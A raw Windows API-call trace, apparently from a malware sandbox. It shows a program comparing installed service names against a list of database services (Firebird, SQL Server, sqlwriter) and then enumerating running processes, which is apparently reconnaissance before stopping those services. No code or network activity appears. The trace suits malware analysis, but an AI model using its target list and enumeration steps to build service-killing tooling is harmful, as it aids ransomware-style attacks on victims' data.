	[0180.249] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0180.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0180.278] lstrlenW (lpString="LanmanServer") returned 12
	[0180.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0180.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0180.278] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0180.278] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0180.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0180.278] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0180.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0180.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0180.293] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0180.293] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0180.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0180.293] lstrlenW (lpString="lfsvc") returned 5
	[0180.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0180.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0180.293] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0180.293] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0180.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0180.293] lstrlenW (lpString="lmhosts") returned 7
	[0180.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0180.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0180.293] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0180.293] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0180.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0180.294] lstrlenW (lpString="LSM") returned 3
	[0180.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0180.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0180.294] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0180.294] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0180.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0180.294] lstrlenW (lpString="MpsSvc") returned 6
	[0180.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0180.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0180.294] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0180.294] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0180.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0180.294] lstrlenW (lpString="NcbService") returned 10
	[0180.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0180.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0180.294] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0180.294] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0180.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0180.294] lstrlenW (lpString="netprofm") returned 8
	[0180.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0180.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0180.294] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0180.294] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0180.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0180.294] lstrlenW (lpString="NgcSvc") returned 6
	[0180.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0180.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0180.294] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0180.294] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0180.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0180.294] lstrlenW (lpString="NlaSvc") returned 6
	[0180.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0180.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0180.294] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0180.294] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0180.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0180.295] lstrlenW (lpString="nsi") returned 3
	[0180.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0180.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0180.295] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0180.295] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0180.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0180.295] lstrlenW (lpString="PcaSvc") returned 6
	[0180.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0180.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0180.295] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0180.295] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0180.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0180.295] lstrlenW (lpString="PlugPlay") returned 8
	[0180.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0180.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0180.295] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0180.295] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0180.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0180.295] lstrlenW (lpString="Power") returned 5
	[0180.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0180.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0180.295] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0180.295] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0180.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0180.295] lstrlenW (lpString="ProfSvc") returned 7
	[0180.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0180.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0180.295] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0180.295] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0180.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0180.295] lstrlenW (lpString="RpcEptMapper") returned 12
	[0180.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0180.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0180.295] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0180.296] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0180.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0180.296] lstrlenW (lpString="RpcSs") returned 5
	[0180.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0180.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0180.296] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0180.296] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0180.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0180.296] lstrlenW (lpString="SamSs") returned 5
	[0180.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0180.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0180.296] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0180.296] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0180.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0180.296] lstrlenW (lpString="Schedule") returned 8
	[0180.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0180.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0180.296] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0180.296] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0180.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0180.296] lstrlenW (lpString="SecurityHealthService") returned 21
	[0180.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0180.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0180.296] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0180.296] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0180.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0180.296] lstrlenW (lpString="SENS") returned 4
	[0180.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0180.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0180.296] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0180.296] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0180.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0180.296] lstrlenW (lpString="ShellHWDetection") returned 16
	[0180.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0180.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0180.297] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0180.297] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0180.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0180.297] lstrlenW (lpString="Spooler") returned 7
	[0180.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0180.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0180.297] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0180.297] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0180.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0180.297] lstrlenW (lpString="StateRepository") returned 15
	[0180.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0180.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0180.297] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0180.297] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0180.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0180.297] lstrlenW (lpString="SysMain") returned 7
	[0180.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0180.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0180.297] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0180.297] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0180.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0180.297] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0180.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0180.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0180.297] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0180.297] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0180.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0180.297] lstrlenW (lpString="Themes") returned 6
	[0180.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0180.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0180.297] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0180.297] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0180.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0180.297] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0180.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0180.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0180.298] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0180.298] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0180.298] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41e6cb8 | out: hHeap=0x5a0000) returned 1
	[0180.298] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x55c
	[0180.556] Process32FirstW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0180.557] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0180.557] lstrlenW (lpString="System") returned 6
	[0180.557] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0180.557] lstrlenW (lpString="smss.exe") returned 8
	[0180.558] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0180.558] lstrlenW (lpString="csrss.exe") returned 9
	[0180.558] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0180.558] lstrlenW (lpString="wininit.exe") returned 11
	[0180.558] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0180.559] lstrlenW (lpString="csrss.exe") returned 9
	[0180.559] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0180.559] lstrlenW (lpString="winlogon.exe") returned 12
	[0180.559] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0180.560] lstrlenW (lpString="services.exe") returned 12
	[0180.560] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0180.560] lstrlenW (lpString="lsass.exe") returned 9
	[0180.560] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0180.561] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0180.561] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0180.561] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0180.561] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.561] lstrlenW (lpString="svchost.exe") returned 11
	[0180.562] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.562] lstrlenW (lpString="svchost.exe") returned 11
	[0180.562] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0180.562] lstrlenW (lpString="dwm.exe") returned 7
	[0180.562] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.563] lstrlenW (lpString="svchost.exe") returned 11
	[0180.563] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.563] lstrlenW (lpString="svchost.exe") returned 11
	[0180.563] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.564] lstrlenW (lpString="svchost.exe") returned 11
	[0180.564] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.564] lstrlenW (lpString="svchost.exe") returned 11
	[0180.564] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.565] lstrlenW (lpString="svchost.exe") returned 11
	[0180.565] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.565] lstrlenW (lpString="svchost.exe") returned 11
	[0180.565] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.566] lstrlenW (lpString="svchost.exe") returned 11
	[0180.566] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.566] lstrlenW (lpString="svchost.exe") returned 11
	[0180.566] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.566] lstrlenW (lpString="svchost.exe") returned 11
	[0180.567] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.567] lstrlenW (lpString="svchost.exe") returned 11
	[0180.567] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0180.567] lstrlenW (lpString="spoolsv.exe") returned 11
	[0180.567] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.568] lstrlenW (lpString="svchost.exe") returned 11
	[0180.568] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0180.568] lstrlenW (lpString="audiodg.exe") returned 11
	[0180.568] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0180.569] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0180.569] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0180.569] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0180.569] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0180.569] lstrlenW (lpString="Memory Compression") returned 18
	[0180.570] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0180.570] lstrlenW (lpString="sihost.exe") returned 10
	[0180.570] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0180.570] lstrlenW (lpString="svchost.exe") returned 11
	[0180.570] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0180.571] lstrlenW (lpString="taskhostw.exe") returned 13
	[0180.571] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0180.571] lstrlenW (lpString="taskhostw.exe") returned 13
